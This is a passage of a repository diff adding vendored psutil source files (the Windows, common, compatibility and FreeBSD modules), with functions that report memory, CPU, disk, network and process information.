'pagefile', 'peak_pagefile', 'private'])
pmmap_grouped = namedtuple('pmmap_grouped', ['path', 'rss'])
pmmap_ext = namedtuple(
'pmmap_ext', 'addr perms ' + ' '.join(pmmap_grouped._fields))
ntpinfo = namedtuple(
'ntpinfo', ['num_handles', 'ctx_switches', 'user_time', 'kernel_time',
'create_time', 'num_threads', 'io_rcount', 'io_wcount',
'io_rbytes', 'io_wbytes'])
# set later from __init__.py
NoSuchProcess = None
AccessDenied = None
TimeoutExpired = None
@lru_cache(maxsize=512)
def _win32_QueryDosDevice(s):
return cext.win32_QueryDosDevice(s)
def _convert_raw_path(s):
# convert paths using native DOS format like:
# "\Device\HarddiskVolume1\Windows\systemew\file.txt"
# into: "C:\Windows\systemew\file.txt"
if PY3 and not isinstance(s, str):
s = s.decode('utf8')
rawdrive = '\\'.join(s.split('\\')[:3])
driveletter = _win32_QueryDosDevice(rawdrive)
return os.path.join(driveletter, s[len(rawdrive):])
def py2_strencode(s, encoding=sys.getfilesystemencoding()):
if PY3 or isinstance(s, str):
return s
else:
try:
return s.encode(encoding)
except UnicodeEncodeError:
# Filesystem codec failed, return the plain unicode
# string (this should never happen).
return s
# --- public functions
def virtual_memory():
"""System virtual memory as a namedtuple."""
mem = cext.virtual_mem()
totphys, availphys, totpagef, availpagef, totvirt, freevirt = mem
#
total = totphys
avail = availphys
free = availphys
used = total - avail
percent = usage_percent((total - avail), total, _round=1)
return svmem(total, avail, percent, used, free)
def swap_memory():
"""Swap system memory as a (total, used, free, sin, sout) tuple."""
mem = cext.virtual_mem()
total = mem[2]
free = mem[3]
used = total - free
percent = usage_percent(used, total, _round=1)
return _common.sswap(total, used, free, percent, 0, 0)
def disk_usage(path):
"""Return disk usage associated with path."""
try:
total, free = cext.disk_usage(path)
except WindowsError:
if not os.path.exists(path):
msg = "No such file or directory: '%s'" % path
raise OSError(errno.ENOENT, msg)
raise
used = total - free
percent = usage_percent(used, total, _round=1)
return _common.sdiskusage(total, used, free, percent)
def disk_partitions(all):
"""Return disk partitions."""
rawlist = cext.disk_partitions(all)
return [_common.sdiskpart(*x) for x in rawlist]
def cpu_times():
"""Return system CPU times as a named tuple."""
user, system, idle = cext.cpu_times()
return scputimes(user, system, idle)
def per_cpu_times():
"""Return system per-CPU times as a list of named tuples."""
ret = []
for cpu_t in cext.per_cpu_times():
user, system, idle = cpu_t
item = scputimes(user, system, idle)
ret.append(item)
return ret
def cpu_count_logical():
"""Return the number of logical CPUs in the system."""
return cext.cpu_count_logical()
def cpu_count_physical():
"""Return the number of physical CPUs in the system."""
return cext.cpu_count_phys()
def boot_time():
"""The system boot time expressed in seconds since the epoch."""
return cext.boot_time()
def net_connections(kind, _pid=-1):
"""Return socket connections. If pid == -1 return system-wide
connections (as opposed to connections opened by one process only).
"""
if kind not in conn_tmap:
raise ValueError("invalid %r kind argument; choose between %s"
% (kind, ', '.join([repr(x) for x in conn_tmap])))
families, types = conn_tmap[kind]
rawlist = cext.net_connections(_pid, families, types)
ret = set()
for item in rawlist:
fd, fam, type, laddr, raddr, status, pid = item
status = TCP_STATUSES[status]
fam = sockfam_to_enum(fam)
type = socktype_to_enum(type)
if _pid == -1:
nt = _common.sconn(fd, fam, type, laddr, raddr, status, pid)
else:
nt = _common.pconn(fd, fam, type, laddr, raddr, status)
ret.add(nt)
return list(ret)
def net_if_stats():
ret = cext.net_if_stats()
for name, items in ret.items():
name = py2_strencode(name)
isup, duplex, speed, mtu = items
if hasattr(_common, 'NicDuplex'):
duplex = _common.NicDuplex(duplex)
ret[name] = _common.snicstats(isup, duplex, speed, mtu)
return ret
def net_io_counters():
ret = cext.net_io_counters()
return dict([(py2_strencode(k), v) for k, v in ret.items()])
def net_if_addrs():
ret = []
for items in cext.net_if_addrs():
items = list(items)
items[0] = py2_strencode(items[0])
ret.append(items)
return ret
def users():
"""Return currently connected users as a list of namedtuples."""
retlist = []
rawlist = cext.users()
for item in rawlist:
user, hostname, tstamp = item
user = py2_strencode(user)
nt = _common.suser(user, None, hostname, tstamp)
retlist.append(nt)
return retlist
pids = cext.pids
pid_exists = cext.pid_exists
disk_io_counters = cext.disk_io_counters
ppid_map = cext.ppid_map # not meant to be public
def wrap_exceptions(fun):
"""Decorator which translates bare OSError and WindowsError
exceptions into NoSuchProcess and AccessDenied.
"""
@functools.wraps(fun)
def wrapper(self, *args, **kwargs):
try:
return fun(self, *args, **kwargs)
except OSError as err:
# support for private module import
if NoSuchProcess is None or AccessDenied is None:
raise
if err.errno in ACCESS_DENIED_SET:
raise AccessDenied(self.pid, self._name)
if err.errno == errno.ESRCH:
raise NoSuchProcess(self.pid, self._name)
raise
return wrapper
class Process(object):
"""Wrapper class around underlying C implementation."""
__slots__ = ["pid", "_name", "_ppid"]
def __init__(self, pid):
self.pid = pid
self._name = None
self._ppid = None
@wrap_exceptions
def name(self):
"""Return process name, which on Windows is always the final
part of the executable.
"""
# This is how PIDs 0 and 4 are always represented in taskmgr
# and process-hacker.
if self.pid == 0:
return "System Idle Process"
elif self.pid == 4:
return "System"
else:
try:
# Note: this will fail with AD for most PIDs owned
# by another user but it's faster.
return py2_strencode(os.path.basename(self.exe()))
except AccessDenied:
return py2_strencode(cext.proc_name(self.pid))
@wrap_exceptions
def exe(self):
# Note: os.path.exists(path) may return False even if the file
# is there, see:
# http://stackoverflow.com/questions/3112546/os-path-exists-lies
# see https://github.com/giampaolo/psutil/issues/414
# see https://github.com/giampaolo/psutil/issues/528
if self.pid in (0, 4):
raise AccessDenied(self.pid, self._name)
return py2_strencode(_convert_raw_path(cext.proc_exe(self.pid)))
@wrap_exceptions
def cmdline(self):
ret = cext.proc_cmdline(self.pid)
if PY3:
return ret
else:
return [py2_strencode(s) for s in ret]
def ppid(self):
try:
return ppid_map()[self.pid]
except KeyError:
raise NoSuchProcess(self.pid, self._name)
def _get_raw_meminfo(self):
try:
return cext.proc_memory_info(self.pid)
except OSError as err:
if err.errno in ACCESS_DENIED_SET:
# TODO: the C ext can probably be refactored in order
# to get this from cext.proc_info()
return cext.proc_memory_info_2(self.pid)
raise
@wrap_exceptions
def memory_info(self):
# on Windows RSS == WorkingSetSize and VSM == PagefileUsage
# fields of PROCESS_MEMORY_COUNTERS struct:
# http://msdn.microsoft.com/en-us/library/windows/desktop/
# ms684877(v=vs.85).aspx
t = self._get_raw_meminfo()
return _common.pmem(t[2], t[7])
@wrap_exceptions
def memory_info_ex(self):
return pextmem(*self._get_raw_meminfo())
def memory_maps(self):
try:
raw = cext.proc_memory_maps(self.pid)
except OSError as err:
# XXX - can't use wrap_exceptions decorator as we're
# returning a generator; probably needs refactoring.
if err.errno in ACCESS_DENIED_SET:
raise AccessDenied(self.pid, self._name)
if err.errno == errno.ESRCH:
raise NoSuchProcess(self.pid, self._name)
raise
else:
for addr, perm, path, rss in raw:
path = _convert_raw_path(path)
addr = hex(addr)
yield (addr, perm, path, rss)
@wrap_exceptions
def kill(self):
return cext.proc_kill(self.pid)
@wrap_exceptions
def send_signal(self, sig):
os.kill(self.pid, sig)
@wrap_exceptions
def wait(self, timeout=None):
if timeout is None:
timeout = cext.INFINITE
else:
# WaitForSingleObject() expects time in milliseconds
timeout = int(timeout * 1000)
ret = cext.proc_wait(self.pid, timeout)
if ret == WAIT_TIMEOUT:
# support for private module import
if TimeoutExpired is None:
raise RuntimeError("timeout expired")
raise TimeoutExpired(timeout, self.pid, self._name)
return ret
@wrap_exceptions
def username(self):
if self.pid in (0, 4):
return 'NT AUTHORITY\\SYSTEM'
return cext.proc_username(self.pid)
@wrap_exceptions
def create_time(self):
# special case for kernel process PIDs; return system boot time
if self.pid in (0, 4):
return boot_time()
try:
return cext.proc_create_time(self.pid)
except OSError as err:
if err.errno in ACCESS_DENIED_SET:
return ntpinfo(*cext.proc_info(self.pid)).create_time
raise
@wrap_exceptions
def num_threads(self):
return ntpinfo(*cext.proc_info(self.pid)).num_threads
@wrap_exceptions
def threads(self):
rawlist = cext.proc_threads(self.pid)
retlist = []
for thread_id, utime, stime in rawlist:
ntuple = _common.pthread(thread_id, utime, stime)
retlist.append(ntuple)
return retlist
@wrap_exceptions
def cpu_times(self):
try:
ret = cext.proc_cpu_times(self.pid)
except OSError as err:
if err.errno in ACCESS_DENIED_SET:
nt = ntpinfo(*cext.proc_info(self.pid))
ret = (nt.user_time, nt.kernel_time)
else:
raise
return _common.pcputimes(*ret)
@wrap_exceptions
def suspend(self):
return cext.proc_suspend(self.pid)
@wrap_exceptions
def resume(self):
return cext.proc_resume(self.pid)
@wrap_exceptions
def cwd(self):
if self.pid in (0, 4):
raise AccessDenied(self.pid, self._name)
# return a normalized pathname since the native C function appends
# "\\" at the and of the path
path = cext.proc_cwd(self.pid)
return py2_strencode(os.path.normpath(path))
@wrap_exceptions
def open_files(self):
if self.pid in (0, 4):
return []
ret = set()
# Filenames come in in native format like:
# "\Device\HarddiskVolume1\Windows\systemew\file.txt"
# Convert the first part in the corresponding drive letter
# (e.g. "C:\") by using Windows's QueryDosDevice()
raw_file_names = cext.proc_open_files(self.pid)
for _file in raw_file_names:
_file = _convert_raw_path(_file)
if isfile_strict(_file):
if not PY3:
_file = py2_strencode(_file)
ntuple = _common.popenfile(_file, -1)
ret.add(ntuple)
return list(ret)
@wrap_exceptions
def connections(self, kind='inet'):
return net_connections(kind, _pid=self.pid)
@wrap_exceptions
def nice_get(self):
value = cext.proc_priority_get(self.pid)
if enum is not None:
value = Priority(value)
return value
@wrap_exceptions
def nice_set(self, value):
return cext.proc_priority_set(self.pid, value)
# available on Windows >= Vista
if hasattr(cext, "proc_io_priority_get"):
@wrap_exceptions
def ionice_get(self):
return cext.proc_io_priority_get(self.pid)
@wrap_exceptions
def ionice_set(self, value, _):
if _:
raise TypeError("set_proc_ionice() on Windows takes only "
"1 argument (2 given)")
if value not in (2, 1, 0):
raise ValueError("value must be 2 (normal), 1 (low) or 0 "
"(very low); got %r" % value)
return cext.proc_io_priority_set(self.pid, value)
@wrap_exceptions
def io_counters(self):
try:
ret = cext.proc_io_counters(self.pid)
except OSError as err:
if err.errno in ACCESS_DENIED_SET:
nt = ntpinfo(*cext.proc_info(self.pid))
ret = (nt.io_rcount, nt.io_wcount, nt.io_rbytes, nt.io_wbytes)
else:
raise
return _common.pio(*ret)
@wrap_exceptions
def status(self):
suspended = cext.proc_is_suspended(self.pid)
if suspended:
return _common.STATUS_STOPPED
else:
return _common.STATUS_RUNNING
@wrap_exceptions
def cpu_affinity_get(self):
def from_bitmask(x):
return [i for i in xrange(64) if (1 << i) & x]
bitmask = cext.proc_cpu_affinity_get(self.pid)
return from_bitmask(bitmask)
@wrap_exceptions
def cpu_affinity_set(self, value):
def to_bitmask(l):
if not l:
raise ValueError("invalid argument %r" % l)
out = 0
for b in l:
out |= 2 ** b
return out
# SetProcessAffinityMask() states that ERROR_INVALID_PARAMETER
# is returned for an invalid CPU but this seems not to be true,
# therefore we check CPUs validy beforehand.
allcpus = list(range(len(per_cpu_times())))
for cpu in value:
if cpu not in allcpus:
if not isinstance(cpu, (int, long)):
raise TypeError(
"invalid CPU %r; an integer is required" % cpu)
else:
raise ValueError("invalid CPU %r" % cpu)
bitmask = to_bitmask(value)
cext.proc_cpu_affinity_set(self.pid, bitmask)
@wrap_exceptions
def num_handles(self):
try:
return cext.proc_num_handles(self.pid)
except OSError as err:
if err.errno in ACCESS_DENIED_SET:
return ntpinfo(*cext.proc_info(self.pid)).num_handles
raise
@wrap_exceptions
def num_ctx_switches(self):
ctx_switches = ntpinfo(*cext.proc_info(self.pid)).ctx_switches
# only voluntary ctx switches are supported
return _common.pctxsw(ctx_switches, 0)

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,246 @@
# /usr/bin/env python
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Common objects shared by all _ps* modules."""
from __future__ import division
import errno
import functools
import os
import socket
import stat
import sys
from collections import namedtuple
from socket import AF_INET, SOCK_STREAM, SOCK_DGRAM
try:
import threading
except ImportError:
import dummy_threading as threading
if sys.version_info >= (3, 4):
import enum
else:
enum = None
# --- constants
AF_INET6 = getattr(socket, 'AF_INET6', None)
AF_UNIX = getattr(socket, 'AF_UNIX', None)
STATUS_RUNNING = "running"
STATUS_SLEEPING = "sleeping"
STATUS_DISK_SLEEP = "disk-sleep"
STATUS_STOPPED = "stopped"
STATUS_TRACING_STOP = "tracing-stop"
STATUS_ZOMBIE = "zombie"
STATUS_DEAD = "dead"
STATUS_WAKE_KILL = "wake-kill"
STATUS_WAKING = "waking"
STATUS_IDLE = "idle" # BSD
STATUS_LOCKED = "locked" # BSD
STATUS_WAITING = "waiting" # BSD
CONN_ESTABLISHED = "ESTABLISHED"
CONN_SYN_SENT = "SYN_SENT"
CONN_SYN_RECV = "SYN_RECV"
CONN_FIN_WAIT1 = "FIN_WAIT1"
CONN_FIN_WAIT2 = "FIN_WAIT2"
CONN_TIME_WAIT = "TIME_WAIT"
CONN_CLOSE = "CLOSE"
CONN_CLOSE_WAIT = "CLOSE_WAIT"
CONN_LAST_ACK = "LAST_ACK"
CONN_LISTEN = "LISTEN"
CONN_CLOSING = "CLOSING"
CONN_NONE = "NONE"
if enum is None:
NIC_DUPLEX_FULL = 2
NIC_DUPLEX_HALF = 1
NIC_DUPLEX_UNKNOWN = 0
else:
class NicDuplex(enum.IntEnum):
NIC_DUPLEX_FULL = 2
NIC_DUPLEX_HALF = 1
NIC_DUPLEX_UNKNOWN = 0
globals().update(NicDuplex.__members__)
# --- functions
def usage_percent(used, total, _round=None):
"""Calculate percentage usage of 'used' against 'total'."""
try:
ret = (used / total) * 100
except ZeroDivisionError:
ret = 0
if _round is not None:
return round(ret, _round)
else:
return ret
def memoize(fun):
"""A simple memoize decorator for functions supporting (hashable)
positional arguments.
It also provides a cache_clear() function for clearing the cache:
>>> @memoize
... def foo()
... return 1
...
>>> foo()
1
>>> foo.cache_clear()
>>>
"""
@functools.wraps(fun)
def wrapper(*args, **kwargs):
key = (args, frozenset(sorted(kwargs.items())))
lock.acquire()
try:
try:
return cache[key]
except KeyError:
ret = cache[key] = fun(*args, **kwargs)
finally:
lock.release()
return ret
def cache_clear():
"""Clear cache."""
lock.acquire()
try:
cache.clear()
finally:
lock.release()
lock = threading.RLock()
cache = {}
wrapper.cache_clear = cache_clear
return wrapper
def isfile_strict(path):
"""Same as os.path.isfile() but does not swallow EACCES / EPERM
exceptions, see:
http://mail.python.org/pipermail/python-dev/2012-June/120787.html
"""
try:
st = os.stat(path)
except OSError as err:
if err.errno in (errno.EPERM, errno.EACCES):
raise
return False
else:
return stat.S_ISREG(st.st_mode)
def sockfam_to_enum(num):
"""Convert a numeric socket family value to an IntEnum member.
If it's not a known member, return the numeric value itself.
"""
if enum is None:
return num
try:
return socket.AddressFamily(num)
except (ValueError, AttributeError):
return num
def socktype_to_enum(num):
"""Convert a numeric socket type value to an IntEnum member.
If it's not a known member, return the numeric value itself.
"""
if enum is None:
return num
try:
return socket.AddressType(num)
except (ValueError, AttributeError):
return num
# --- Process.connections() 'kind' parameter mapping
conn_tmap = {
"all": ([AF_INET, AF_INET6, AF_UNIX], [SOCK_STREAM, SOCK_DGRAM]),
"tcp": ([AF_INET, AF_INET6], [SOCK_STREAM]),
"tcp4": ([AF_INET], [SOCK_STREAM]),
"udp": ([AF_INET, AF_INET6], [SOCK_DGRAM]),
"udp4": ([AF_INET], [SOCK_DGRAM]),
"inet": ([AF_INET, AF_INET6], [SOCK_STREAM, SOCK_DGRAM]),
"inet4": ([AF_INET], [SOCK_STREAM, SOCK_DGRAM]),
"inet6": ([AF_INET6], [SOCK_STREAM, SOCK_DGRAM]),
}
if AF_INET6 is not None:
conn_tmap.update({
"tcp6": ([AF_INET6], [SOCK_STREAM]),
"udp6": ([AF_INET6], [SOCK_DGRAM]),
})
if AF_UNIX is not None:
conn_tmap.update({
"unix": ([AF_UNIX], [SOCK_STREAM, SOCK_DGRAM]),
})
del AF_INET, AF_INET6, AF_UNIX, SOCK_STREAM, SOCK_DGRAM
# --- namedtuples for psutil.* system-related functions
# psutil.swap_memory()
sswap = namedtuple('sswap', ['total', 'used', 'free', 'percent', 'sin',
'sout'])
# psutil.disk_usage()
sdiskusage = namedtuple('sdiskusage', ['total', 'used', 'free', 'percent'])
# psutil.disk_io_counters()
sdiskio = namedtuple('sdiskio', ['read_count', 'write_count',
'read_bytes', 'write_bytes',
'read_time', 'write_time'])
# psutil.disk_partitions()
sdiskpart = namedtuple('sdiskpart', ['device', 'mountpoint', 'fstype', 'opts'])
# psutil.net_io_counters()
snetio = namedtuple('snetio', ['bytes_sent', 'bytes_recv',
'packets_sent', 'packets_recv',
'errin', 'errout',
'dropin', 'dropout'])
# psutil.users()
suser = namedtuple('suser', ['name', 'terminal', 'host', 'started'])
# psutil.net_connections()
sconn = namedtuple('sconn', ['fd', 'family', 'type', 'laddr', 'raddr',
'status', 'pid'])
# psutil.net_if_addrs()
snic = namedtuple('snic', ['family', 'address', 'netmask', 'broadcast', 'ptp'])
# psutil.net_if_stats()
snicstats = namedtuple('snicstats', ['isup', 'duplex', 'speed', 'mtu'])
# --- namedtuples for psutil.Process methods
# psutil.Process.memory_info()
pmem = namedtuple('pmem', ['rss', 'vms'])
# psutil.Process.cpu_times()
pcputimes = namedtuple('pcputimes', ['user', 'system'])
# psutil.Process.open_files()
popenfile = namedtuple('popenfile', ['path', 'fd'])
# psutil.Process.threads()
pthread = namedtuple('pthread', ['id', 'user_time', 'system_time'])
# psutil.Process.uids()
puids = namedtuple('puids', ['real', 'effective', 'saved'])
# psutil.Process.gids()
pgids = namedtuple('pgids', ['real', 'effective', 'saved'])
# psutil.Process.io_counters()
pio = namedtuple('pio', ['read_count', 'write_count',
'read_bytes', 'write_bytes'])
# psutil.Process.ionice()
pionice = namedtuple('pionice', ['ioclass', 'value'])
# psutil.Process.ctx_switches()
pctxsw = namedtuple('pctxsw', ['voluntary', 'involuntary'])
# psutil.Process.connections()
pconn = namedtuple('pconn', ['fd', 'family', 'type', 'laddr', 'raddr',
'status'])

View File

@ -0,0 +1,189 @@
#!/usr/bin/env python
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Module which provides compatibility with older Python versions."""
import collections
import functools
import sys
__all__ = ["PY3", "long", "xrange", "unicode", "callable", "lru_cache"]
PY3 = sys.version_info[0] == 3
if PY3:
long = int
xrange = range
unicode = str
def u(s):
return s
else:
long = long
xrange = xrange
unicode = unicode
def u(s):
return unicode(s, "unicode_escape")
# removed in 3.0, reintroduced in 3.2
try:
callable = callable
except NameError:
def callable(obj):
return any("__call__" in klass.__dict__ for klass in type(obj).__mro__)
# --- stdlib additions
# py 3.2 functools.lru_cache
# Taken from: http://code.activestate.com/recipes/578078
# Credit: Raymond Hettinger
try:
from functools import lru_cache
except ImportError:
try:
from threading import RLock
except ImportError:
from dummy_threading import RLock
_CacheInfo = collections.namedtuple(
"CacheInfo", ["hits", "misses", "maxsize", "currsize"])
class _HashedSeq(list):
__slots__ = 'hashvalue'
def __init__(self, tup, hash=hash):
self[:] = tup
self.hashvalue = hash(tup)
def __hash__(self):
return self.hashvalue
def _make_key(args, kwds, typed,
kwd_mark=(object(), ),
fasttypes=set((int, str, frozenset, type(None))),
sorted=sorted, tuple=tuple, type=type, len=len):
key = args
if kwds:
sorted_items = sorted(kwds.items())
key += kwd_mark
for item in sorted_items:
key += item
if typed:
key += tuple(type(v) for v in args)
if kwds:
key += tuple(type(v) for k, v in sorted_items)
elif len(key) == 1 and type(key[0]) in fasttypes:
return key[0]
return _HashedSeq(key)
def lru_cache(maxsize=100, typed=False):
"""Least-recently-used cache decorator, see:
http://docs.python.org/3/library/functools.html#functools.lru_cache
"""
def decorating_function(user_function):
cache = dict()
stats = [0, 0]
HITS, MISSES = 0, 1
make_key = _make_key
cache_get = cache.get
_len = len
lock = RLock()
root = []
root[:] = [root, root, None, None]
nonlocal_root = [root]
PREV, NEXT, KEY, RESULT = 0, 1, 2, 3
if maxsize == 0:
def wrapper(*args, **kwds):
result = user_function(*args, **kwds)
stats[MISSES] += 1
return result
elif maxsize is None:
def wrapper(*args, **kwds):
key = make_key(args, kwds, typed)
result = cache_get(key, root)
if result is not root:
stats[HITS] += 1
return result
result = user_function(*args, **kwds)
cache[key] = result
stats[MISSES] += 1
return result
else:
def wrapper(*args, **kwds):
if kwds or typed:
key = make_key(args, kwds, typed)
else:
key = args
lock.acquire()
try:
link = cache_get(key)
if link is not None:
root, = nonlocal_root
link_prev, link_next, key, result = link
link_prev[NEXT] = link_next
link_next[PREV] = link_prev
last = root[PREV]
last[NEXT] = root[PREV] = link
link[PREV] = last
link[NEXT] = root
stats[HITS] += 1
return result
finally:
lock.release()
result = user_function(*args, **kwds)
lock.acquire()
try:
root, = nonlocal_root
if key in cache:
pass
elif _len(cache) >= maxsize:
oldroot = root
oldroot[KEY] = key
oldroot[RESULT] = result
root = nonlocal_root[0] = oldroot[NEXT]
oldkey = root[KEY]
root[KEY] = root[RESULT] = None
del cache[oldkey]
cache[key] = oldroot
else:
last = root[PREV]
link = [last, root, key, result]
last[NEXT] = root[PREV] = cache[key] = link
stats[MISSES] += 1
finally:
lock.release()
return result
def cache_info():
"""Report cache statistics"""
lock.acquire()
try:
return _CacheInfo(stats[HITS], stats[MISSES], maxsize,
len(cache))
finally:
lock.release()
def cache_clear():
"""Clear the cache and cache statistics"""
lock.acquire()
try:
cache.clear()
root = nonlocal_root[0]
root[:] = [root, root, None, None]
stats[:] = [0, 0]
finally:
lock.release()
wrapper.__wrapped__ = user_function
wrapper.cache_info = cache_info
wrapper.cache_clear = cache_clear
return functools.update_wrapper(wrapper, user_function)
return decorating_function

View File

@ -0,0 +1,455 @@
#!/usr/bin/env python
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""FreeBSD platform implementation."""
import errno
import functools
import os
import xml.etree.ElementTree as ET
from collections import namedtuple
from . import _common
from . import _psposix
from . import _psutil_bsd as cext
from . import _psutil_posix as cext_posix
from ._common import conn_tmap, usage_percent, sockfam_to_enum
from ._common import socktype_to_enum
__extra__all__ = []
# --- constants
PROC_STATUSES = {
cext.SSTOP: _common.STATUS_STOPPED,
cext.SSLEEP: _common.STATUS_SLEEPING,
cext.SRUN: _common.STATUS_RUNNING,
cext.SIDL: _common.STATUS_IDLE,
cext.SWAIT: _common.STATUS_WAITING,
cext.SLOCK: _common.STATUS_LOCKED,
cext.SZOMB: _common.STATUS_ZOMBIE,
}
TCP_STATUSES = {
cext.TCPS_ESTABLISHED: _common.CONN_ESTABLISHED,
cext.TCPS_SYN_SENT: _common.CONN_SYN_SENT,
cext.TCPS_SYN_RECEIVED: _common.CONN_SYN_RECV,
cext.TCPS_FIN_WAIT_1: _common.CONN_FIN_WAIT1,
cext.TCPS_FIN_WAIT_2: _common.CONN_FIN_WAIT2,
cext.TCPS_TIME_WAIT: _common.CONN_TIME_WAIT,
cext.TCPS_CLOSED: _common.CONN_CLOSE,
cext.TCPS_CLOSE_WAIT: _common.CONN_CLOSE_WAIT,
cext.TCPS_LAST_ACK: _common.CONN_LAST_ACK,
cext.TCPS_LISTEN: _common.CONN_LISTEN,
cext.TCPS_CLOSING: _common.CONN_CLOSING,
cext.PSUTIL_CONN_NONE: _common.CONN_NONE,
}
PAGESIZE = os.sysconf("SC_PAGE_SIZE")
AF_LINK = cext_posix.AF_LINK
# extend base mem ntuple with BSD-specific memory metrics
svmem = namedtuple(
'svmem', ['total', 'available', 'percent', 'used', 'free',
'active', 'inactive', 'buffers', 'cached', 'shared', 'wired'])
scputimes = namedtuple(
'scputimes', ['user', 'nice', 'system', 'idle', 'irq'])
pextmem = namedtuple('pextmem', ['rss', 'vms', 'text', 'data', 'stack'])
pmmap_grouped = namedtuple(
'pmmap_grouped', 'path rss, private, ref_count, shadow_count')
pmmap_ext = namedtuple(
'pmmap_ext', 'addr, perms path rss, private, ref_count, shadow_count')
# set later from __init__.py
NoSuchProcess = None
ZombieProcess = None
AccessDenied = None
TimeoutExpired = None
def virtual_memory():
"""System virtual memory as a namedtuple."""
mem = cext.virtual_mem()
total, free, active, inactive, wired, cached, buffers, shared = mem
avail = inactive + cached + free
used = active + wired + cached
percent = usage_percent((total - avail), total, _round=1)
return svmem(total, avail, percent, used, free,
active, inactive, buffers, cached, shared, wired)
def swap_memory():
"""System swap memory as (total, used, free, sin, sout) namedtuple."""
total, used, free, sin, sout = [x * PAGESIZE for x in cext.swap_mem()]
percent = usage_percent(used, total, _round=1)
return _common.sswap(total, used, free, percent, sin, sout)
def cpu_times():
"""Return system per-CPU times as a namedtuple"""
user, nice, system, idle, irq = cext.cpu_times()
return scputimes(user, nice, system, idle, irq)
if hasattr(cext, "per_cpu_times"):
def per_cpu_times():
"""Return system CPU times as a namedtuple"""
ret = []
for cpu_t in cext.per_cpu_times():
user, nice, system, idle, irq = cpu_t
item = scputimes(user, nice, system, idle, irq)
ret.append(item)
return ret
else:
# XXX
# Ok, this is very dirty.
# On FreeBSD < 8 we cannot gather per-cpu information, see:
# https://github.com/giampaolo/psutil/issues/226
# If num cpus > 1, on first call we return single cpu times to avoid a
# crash at psutil import time.
# Next calls will fail with NotImplementedError
def per_cpu_times():
if cpu_count_logical() == 1:
return [cpu_times()]
if per_cpu_times.__called__:
raise NotImplementedError("supported only starting from FreeBSD 8")
per_cpu_times.__called__ = True
return [cpu_times()]
per_cpu_times.__called__ = False
def cpu_count_logical():
"""Return the number of logical CPUs in the system."""
return cext.cpu_count_logical()
def cpu_count_physical():
"""Return the number of physical CPUs in the system."""
# From the C module we'll get an XML string similar to this:
# http://manpages.ubuntu.com/manpages/precise/man4/smp.4freebsd.html
# We may get None in case "sysctl kern.sched.topology_spec"
# is not supported on this BSD version, in which case we'll mimic
# os.cpu_count() and return None.
ret = None
s = cext.cpu_count_phys()
if s is not None:
# get rid of padding chars appended at the end of the string
index = s.rfind("</groups>")
if index != -1:
s = s[:index + 9]
root = ET.fromstring(s)
try:
ret = len(root.findall('group/children/group/cpu')) or None
finally:
# needed otherwise it will memleak
root.clear()
if not ret:
# If logical CPUs are 1 it's obvious we'll have only 1
# physical CPU.
if cpu_count_logical() == 1:
return 1
return ret
def boot_time():
"""The system boot time expressed in seconds since the epoch."""
return cext.boot_time()
def disk_partitions(all=False):
retlist = []
partitions = cext.disk_partitions()
for partition in partitions:
device, mountpoint, fstype, opts = partition
if device == 'none':
device = ''
if not all:
if not os.path.isabs(device) or not os.path.exists(device):
continue
ntuple = _common.sdiskpart(device, mountpoint, fstype, opts)
retlist.append(ntuple)
return retlist
def users():
retlist = []
rawlist = cext.users()
for item in rawlist:
user, tty, hostname, tstamp = item
if tty == '~':
continue # reboot or shutdown
nt = _common.suser(user, tty or None, hostname, tstamp)
retlist.append(nt)
return retlist
def net_connections(kind):
if kind not in _common.conn_tmap:
raise ValueError("invalid %r kind argument; choose between %s"
% (kind, ', '.join([repr(x) for x in conn_tmap])))
families, types = conn_tmap[kind]
ret = set()
rawlist = cext.net_connections()
for item in rawlist:
fd, fam, type, laddr, raddr, status, pid = item
# TODO: apply filter at C level
if fam in families and type in types:
try:
status = TCP_STATUSES[status]
except KeyError:
# XXX: Not sure why this happens. I saw this occurring
# with IPv6 sockets opened by 'vim'. Those sockets
# have a very short lifetime so maybe the kernel
# can't initialize their status?
status = TCP_STATUSES[cext.PSUTIL_CONN_NONE]
fam = sockfam_to_enum(fam)
type = socktype_to_enum(type)
nt = _common.sconn(fd, fam, type, laddr, raddr, status, pid)
ret.add(nt)
return list(ret)
def net_if_stats():
"""Get NIC stats (isup, duplex, speed, mtu)."""
names = net_io_counters().keys()
ret = {}
for name in names:
isup, duplex, speed, mtu = cext_posix.net_if_stats(name)
if hasattr(_common, 'NicDuplex'):
duplex = _common.NicDuplex(duplex)
ret[name] = _common.snicstats(isup, duplex, speed, mtu)
return ret
pids = cext.pids
pid_exists = _psposix.pid_exists
disk_usage = _psposix.disk_usage
net_io_counters = cext.net_io_counters
disk_io_counters = cext.disk_io_counters
net_if_addrs = cext_posix.net_if_addrs
def wrap_exceptions(fun):
"""Decorator which translates bare OSError exceptions into
NoSuchProcess and AccessDenied.
"""
@functools.wraps(fun)
def wrapper(self, *args, **kwargs):
try:
return fun(self, *args, **kwargs)
except OSError as err:
# support for private module import
if (NoSuchProcess is None or AccessDenied is None or
ZombieProcess is None):
raise
if err.errno == errno.ESRCH:
if not pid_exists(self.pid):
raise NoSuchProcess(self.pid, self._name)
else:
raise ZombieProcess(self.pid, self._name, self._ppid)
if err.errno in (errno.EPERM, errno.EACCES):
raise AccessDenied(self.pid, self._name)
raise
return wrapper
class Process(object):
"""Wrapper class around underlying C implementation."""
__slots__ = ["pid", "_name", "_ppid"]
def __init__(self, pid):
self.pid = pid
self._name = None
self._ppid = None
@wrap_exceptions
def name(self):
return cext.proc_name(self.pid)
@wrap_exceptions
def exe(self):
return cext.proc_exe(self.pid)
@wrap_exceptions
def cmdline(self):
return cext.proc_cmdline(self.pid)
@wrap_exceptions
def terminal(self):
tty_nr = cext.proc_tty_nr(self.pid)
tmap = _psposix._get_terminal_map()
try:
return tmap[tty_nr]
except KeyError:
return None
@wrap_exceptions
def ppid(self):
return cext.proc_ppid(self.pid)
@wrap_exceptions
def uids(self):
real, effective, saved = cext.proc_uids(self.pid)
return _common.puids(real, effective, saved)
@wrap_exceptions
def gids(self):
real, effective, saved = cext.proc_gids(self.pid)
return _common.pgids(real, effective, saved)
@wrap_exceptions
def cpu_times(self):
user, system = cext.proc_cpu_times(self.pid)
